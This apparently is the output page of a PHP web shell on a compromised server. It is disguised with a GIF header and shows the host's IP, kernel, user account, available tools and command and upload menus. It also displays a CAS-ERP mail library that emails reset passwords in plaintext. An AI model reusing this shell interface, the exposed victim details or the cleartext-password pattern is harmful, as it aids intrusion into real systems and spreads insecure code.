GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.147.65.47 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/libraries/services/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Library For Handling Mail Bodies and Header For A Mail * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class MailServices { /* * Returns Body For User's Mail Body On Contact Form Submission */ public static function getBodyForUserOnForgetPassword($user, $randomPassword) { $body = "<html><head><title>Thanks For Contacting Us</title></head><body>"; $body .= "<p>Dear <b>" . $user . "</b></p>"; $body .= "<p>Your CAS-ERP portal password has been successfully reset.<p>"; $body .= "<p>Your new password is: <b>" . $randomPassword . "</b>.</p>"; $body .= "<p>Reset your password again after loggin in using the above password. This is a system generated E-Mail, so do not reply.</p>"; $body .= "<h4>Thanks</h4>"; $body .= "CAS-ERP Web Admin<br>"; return $body; } /* * Returns Mail Header For Normal Case */ public static function getMailHederForNormalCase() { $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n"; $headers .= 'From: CAS-ERP Web Admin <no-reply@caswebadmin.com>' . "\r\n"; $headers .= 'Reply-To: <no-reply@caswebadmin.com>' . "\r\n"; return $headers; } }